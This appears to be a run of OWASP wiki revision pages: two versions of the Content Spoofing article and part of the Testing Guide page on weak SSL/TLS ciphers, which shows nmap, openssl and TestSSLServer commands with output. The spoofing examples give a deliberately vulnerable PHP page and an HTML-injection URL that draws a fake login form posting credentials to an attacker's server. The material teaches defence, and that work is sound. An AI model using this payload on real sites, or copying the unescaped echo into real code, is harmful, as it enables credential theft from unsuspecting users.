Risk factors depend on the business type of the application. If the application business brand is well known and has major competitors, this issue can be abused by malicious competitors/disgruntled employees/unsatisfied customers to trigger mass distributions of false messages to unsuspecting customers. By doing so, customers could be forced to switch to competitor's products. This could lead to loss of thousands of monetary value until rectification is properly done by the victim business.<br />
<br />
==Applicable Industries ==<br />
<br />
* A business entity selling one type of product as a major business function<br />
For example, Taxi hailing business, Online shopping business, Online service business<br />
<br />
* A business entity relying on the brand name <br />
For example, Cosmetic brand, Airline brand<br />
<br />
==Examples==<br />
<br />
<br />
===Hypertext Markup Language (HTML) Injection===<br />
<br />
A possible attack scenario is demonstrated below. For this scenario, lets assumes no output encoding is being implemented:<br />
<br />
# Attacker discovers injection vulnerability and decides to spoof a login form<br />
# Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email<br />
# The user visits the page due to the page being located within a trusted domain<br />
# The attacker's injected HTML is rendered and presented to the user asking for a username and password<br />
# The user enters a username and password, which are both sent to the attackers server<br />
<br />
<br />
: A simple PHP page containing an injection vulnerability via the ''name'' parameter:<br />
<br />
<pre><br />
<?php<br />
$name = $_REQUEST ['name'];<br />
?><br />
<html><br />
<h1>Welcome to the Internet!</h1><br />
<br><br />
<body><br />
Hello, <?php echo $name; ?>!<br />
<p>We are so glad you are here!</p><br />
</body><br />
</html><br />
</pre><br />
<br />
The page functionality can be tested by making the following GET request to the page:<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=test<br />
</pre><br />
<br />
By requesting the link below, the page renders the injected HTML, presents a login form, and comments out the rest of the page after the injection point. Once a user enters their username and password, the values are sent to a page named ''login.php'' on the attacker's server via POST.<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" <br />
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" <br />
name="password" /><br /><input type="submit" value="Login" /></form><!--<br />
</pre><br />
<br />
<br />
===Text Injection===<br />
<br />
Another example of a content spoofing attack would be to present false information to a user via text manipulation. An attack scenario is demonstrated below. For this scenario, lets assume proper output encoding HAS been implemented and XSS is not possible:<br />
<br />
#An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock<br />
#The attacker identifies a vulnerable parameter<br />
#The attacker crafts a malicious link by slightly modifying a valid request<br />
#The link containing the modified request is sent to a user and they clicks the link<br />
#A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website<br />
<br />
<br />
'''Valid Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now<br />
</pre><br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now<br />
</pre><br />
<br />
==Related [[Threat Agents]]==<br />
<br />
* [[Threat Agent 1]]<br />
* [[Threat Agent 2]]<br />
<br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[:Category:Injection Attack]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[:Category:Input Validation Vulnerability]]<br />
* [[Improper Data Validation]]<br />
<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
<br />
<br />
==References==<br />
<br />
* http://capec.mitre.org/data/definitions/148.html<br />
* http://projects.webappsec.org/w/page/13246917/Content%20Spoofing<br />
* http://itlaw.wikia.com/wiki/Content_injection_attack<br />
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html<br />
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]<br />
* HTML Code Injection and Cross-site Scripting: http://www.technicalinfo.net/papers/CSS.html<br />
<br />
[[Category:Injection]]<br />
[[Category:Attack]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Content_Spoofing&diff=238286Content Spoofing2018-03-03T11:07:45Z<p>D0ubl3 h3lix: /* Risk Factors */</p>
<hr />
<div>{{Template:Attack}}<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
<br />
==Description==<br />
<br />
Content spoofing, also referred to as ''content injection'' or ''virtual defacement'', is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.<br><br />
<br />
This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user's trust.<br />
<br />
<br />
== Content Spoofing vs. Cross-site Scripting<br> ==<br />
Content spoofing is an attack that is closely related to [[Cross-site Scripting (XSS)]]. While XSS uses [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet <script> and other techniques] to run JavaScript, content spoofing uses other techniques to modify the page for malicious reasons.<br />
<br />
Even if XSS mitigation techniques are used within the web application, such as proper output encoding, the application can still be vulnerable to text based content spoofing attacks.<br />
<br />
==Risk Factors==<br />
<br />
Risk factors depend on the business type of the application. If the application business brand is well known and has major competitors, this issue can be abused by malicious competitors/disgruntled employees/unsatisfied customers to trigger mass distributions of false messages to unsuspecting customers. By doing so, customers could be forced to switch to competitor's products. <br />
<br />
==Applicable Industries ==<br />
<br />
* A business entity selling one type of product as a major business function<br />
For example, Taxi hailing business, Online shopping business, Online service business<br />
<br />
* A business entity relying on the brand name <br />
For example, Cosmetic brand, Airline brand<br />
<br />
==Examples==<br />
<br />
<br />
===Hypertext Markup Language (HTML) Injection===<br />
<br />
A possible attack scenario is demonstrated below. For this scenario, lets assumes no output encoding is being implemented:<br />
<br />
# Attacker discovers injection vulnerability and decides to spoof a login form<br />
# Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email<br />
# The user visits the page due to the page being located within a trusted domain<br />
# The attacker's injected HTML is rendered and presented to the user asking for a username and password<br />
# The user enters a username and password, which are both sent to the attackers server<br />
<br />
<br />
: A simple PHP page containing an injection vulnerability via the ''name'' parameter:<br />
<br />
<pre><br />
<?php<br />
$name = $_REQUEST ['name'];<br />
?><br />
<html><br />
<h1>Welcome to the Internet!</h1><br />
<br><br />
<body><br />
Hello, <?php echo $name; ?>!<br />
<p>We are so glad you are here!</p><br />
</body><br />
</html><br />
</pre><br />
<br />
The page functionality can be tested by making the following GET request to the page:<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=test<br />
</pre><br />
<br />
By requesting the link below, the page renders the injected HTML, presents a login form, and comments out the rest of the page after the injection point. Once a user enters their username and password, the values are sent to a page named ''login.php'' on the attacker's server via POST.<br />
<br />
<pre><br />
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" <br />
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" <br />
name="password" /><br /><input type="submit" value="Login" /></form><!--<br />
</pre><br />
<br />
<br />
===Text Injection===<br />
<br />
Another example of a content spoofing attack would be to present false information to a user via text manipulation. An attack scenario is demonstrated below. For this scenario, lets assume proper output encoding HAS been implemented and XSS is not possible:<br />
<br />
#An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock<br />
#The attacker identifies a vulnerable parameter<br />
#The attacker crafts a malicious link by slightly modifying a valid request<br />
#The link containing the modified request is sent to a user and they clicks the link<br />
#A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website<br />
<br />
<br />
'''Valid Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now<br />
</pre><br />
<br />
'''Modified Page'''<br />
<pre><br />
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now<br />
</pre><br />
<br />
==Related [[Threat Agents]]==<br />
<br />
* [[Threat Agent 1]]<br />
* [[Threat Agent 2]]<br />
<br />
<br />
==Related [[Attacks]]==<br />
<br />
* [[Cross-site Scripting (XSS)]]<br />
* [[:Category:Injection Attack]]<br />
<br />
<br />
==Related [[Vulnerabilities]]==<br />
<br />
* [[:Category:Input Validation Vulnerability]]<br />
* [[Improper Data Validation]]<br />
<br />
<br />
<br />
==Related [[Controls]]==<br />
<br />
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
<br />
<br />
==References==<br />
<br />
* http://capec.mitre.org/data/definitions/148.html<br />
* http://projects.webappsec.org/w/page/13246917/Content%20Spoofing<br />
* http://itlaw.wikia.com/wiki/Content_injection_attack<br />
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html<br />
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]<br />
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]<br />
* HTML Code Injection and Cross-site Scripting: http://www.technicalinfo.net/papers/CSS.html<br />
<br />
[[Category:Injection]]<br />
[[Category:Attack]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)&diff=183407Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)2014-10-07T15:22:53Z<p>D0ubl3 h3lix: /* Tools */</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Summary ==<br />
<br />
Sensitive data must be protected when it is transmitted through the network. Such data can include user credentials and credit cards. As a rule of thumb, if data must be protected when it is stored, it must be protected also during transmission. <br />
<br />
<br />
HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is also possible to use client certificate for mutual authentication. <br />
<br />
<br />
Even if high grade ciphers are today supported and normally used, some misconfiguration in the server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.<br />
<br />
<br />
== Common Issues == <br />
A vulnerability occurs if the HTTP protocol is used to transmit sensitive information [2] (e.g. credentials transmitted over HTTP [3]).<br />
<br />
When the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:<br />
* SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.<br />
* Certificate validity must be ensured.<br />
<br />
Other vulnerabilities linked to this are:<br />
* Software exposed must be updated due to possibility of known vulnerabilities [4].<br />
* Usage of Secure flag for Session Cookies [5].<br />
* Usage of HTTP Strict Transport Security (HSTS) [6].<br />
* The presence of HTTP and HTTPS both, which can be used to intercept traffic [7], [8].<br />
* The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.<br />
<br />
<br />
===Sensitive data transmitted in clear-text===<br />
The application should not transmit sensitive information via unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.<br />
<br />
<br />
===Weak SSL/TLS Ciphers/Protocols/Keys===<br />
Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.<br />
<br />
<br />
It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.<br />
<br />
<br />
Briefly, the key points for the cipher suite determination are the following: <br />
# The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].<br />
#The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server). <br />
<br />
<br />
It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.<br />
<br />
#The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
#The server sends a ServerHelloDone message and waits for a client response.<br />
#Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
===SSL certificate validity – client and server===<br />
<br />
When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates:<br />
# The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
# The server sends a ServerHelloDone message and waits for a client response.<br />
# Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity: <br />
<br />
* Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);<br />
* Checking that the certificate is currently valid;<br />
* Checking that the name of the site and the name reported in the certificate match.<br />
<br />
<br />
Let's examine each check more in detail. <br />
<br />
* Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won’t delve deeper in the implications of the trust model being used by digital certificates). <br />
<br />
<br />
* Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed. <br />
<br />
<br />
* What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced. <br />
<br />
<br />
===Other vulnerabilities===<br />
The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the software is not up to date [4]. Furthermore, for the correct protection of data during transmission the Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP). <br />
<br />
<br />
Also there are some attacks that can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.<br />
<br />
<br />
== How to Test ==<br />
<br />
===Testing for sensitive data transmitted in clear-text===<br />
Various types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2]. <br />
<br />
<br />
=====Example 1. Basic Authentication over HTTP=====<br />
A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.<br />
<br />
<pre><br />
$ curl -kis http://example.com/restricted/<br />
HTTP/1.1 401 Authorization Required<br />
Date: Fri, 01 Aug 2013 00:00:00 GMT<br />
WWW-Authenticate: Basic realm="Restricted Area"<br />
Accept-Ranges: bytes<br />
Vary: Accept-Encoding<br />
Content-Length: 162<br />
Content-Type: text/html<br />
<br />
<html><head><title>401 Authorization Required</title></head><br />
<body bgcolor=white><br />
<h1>401 Authorization Required</h1><br />
<br />
Invalid login credentials!<br />
<br />
</body></html><br />
</pre><br />
<br />
<br />
===Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities===<br />
The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task. <br />
<br />
At the time of writing these criteria are widely recognized as minimum checklist:<br />
* Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).<br />
* Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).<br />
* Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).<br />
* No Export (EXP) level cipher suites, due to can be easly broken [10].<br />
* X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).<br />
* X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).<br />
* Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].<br />
<br />
A more complete checklist includes:<br />
* Secure Renegotiation should be enabled.<br />
* MD5 should not be used, due to known collision attacks. [35]<br />
* RC4 should not be used, due to crypto-analytical attacks [15].<br />
* Server should be protected from BEAST Attack [16].<br />
* Server should be protected from CRIME attack, TLS compression must be disabled [17].<br />
* Server should support Forward Secrecy [18].<br />
<br />
<br />
The following standards can be used as reference while assessing SSL servers:<br />
* PCI-DSS v2.0 in point 4.1 requires compliant parties to use "strong cryptography" without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].<br />
* Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].<br />
* OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].<br />
<br />
<br />
Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool’s output as an input for manual evaluation using the references.<br />
<br />
<br />
Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].<br />
<br />
<br />
====Example 2. SSL service recognition via nmap====<br />
<br />
The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are - but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).<br />
<br />
In this example we search for SSL services using nmap with “-sV” option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.<br />
<br />
<pre><br />
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up, received user-set (0.20s latency).<br />
Not shown: 89 filtered ports<br />
Reason: 89 no-responses<br />
PORT STATE SERVICE REASON VERSION<br />
21/tcp open ftp syn-ack Pure-FTPd<br />
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)<br />
25/tcp open smtp syn-ack Exim smtpd 4.80<br />
26/tcp open smtp syn-ack Exim smtpd 4.80<br />
80/tcp open http syn-ack<br />
110/tcp open pop3 syn-ack Dovecot pop3d<br />
143/tcp open imap syn-ack Dovecot imapd<br />
443/tcp open ssl/http syn-ack Apache<br />
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80<br />
993/tcp open ssl/imap syn-ack Dovecot imapd<br />
995/tcp open ssl/pop3 syn-ack Dovecot pop3d<br />
Service Info: Hosts: example.com<br />
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .<br />
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds<br />
</pre><br />
<br />
<br />
====Example 3. Checking for Certificate information, Weak Ciphers and SSLv2 via nmap====<br />
Nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].<br />
<br />
<pre><br />
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up (0.090s latency).<br />
rDNS record for 127.0.0.1: www.example.com<br />
PORT STATE SERVICE<br />
443/tcp open https<br />
| ssl-cert: Subject: commonName=www.example.org<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 1024<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
465/tcp open smtps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
993/tcp open imaps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
995/tcp open pop3s<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds<br />
</pre><br />
<br />
<br />
====Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)====<br />
<br />
Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities. <br />
<br />
<pre><br />
$ openssl s_client -connect www2.example.com:443<br />
CONNECTED(00000003)<br />
depth=2 ******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
---<br />
Certificate chain<br />
0 s:******<br />
i:******<br />
1 s:******<br />
i:******<br />
2 s:******<br />
i:******<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
******<br />
-----END CERTIFICATE-----<br />
subject=******<br />
issuer=******<br />
---<br />
No client certificate CA names sent<br />
---<br />
SSL handshake has read 3558 bytes and written 640 bytes<br />
---<br />
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
SSL-Session:<br />
Protocol : TLSv1<br />
Cipher : DES-CBC3-SHA<br />
Session-ID: ******<br />
Session-ID-ctx: <br />
Master-Key: ******<br />
Key-Arg : None<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
Start Time: ******<br />
Timeout : 300 (sec)<br />
Verify return code: 20 (unable to get local issuer certificate)<br />
---<br />
</pre><br />
<br />
<br />
Now the tester can write the first line of an HTTP request and then R in a new line.<br />
<pre><br />
HEAD / HTTP/1.1<br />
R<br />
</pre><br />
<br />
Server is renegotiating<br />
<pre><br />
RENEGOTIATING<br />
depth=2 C******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
</pre><br />
<br />
And the tester can complete our request, checking for response.<br />
<pre><br />
HEAD / HTTP/1.1<br />
<br />
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )<br />
Connection: close<br />
Pragma: no-cache<br />
Cache-Control: no-cache<br />
Content-Type: text/html<br />
Content-Length: 1792 <br />
<br />
read:errno=0<br />
</pre><br />
<br />
Even if the HEAD is not permitted, Client-intiated renegotiaion is permitted.<br />
<br />
<br />
====Example 5. Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer====<br />
<br />
TestSSLServer [32] is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a crypto-analytical attack to RC4 [15].<br />
<br />
<br />
An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].<br />
<br />
<pre><br />
$ java -jar TestSSLServer.jar www3.example.com 443<br />
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2<br />
Deflate compression: no<br />
Supported cipher suites (ORDER IS NOT SIGNIFICANT):<br />
SSLv3<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
(TLSv1.0: idem)<br />
(TLSv1.1: idem)<br />
TLSv1.2<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA256<br />
RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA256<br />
DHE_RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
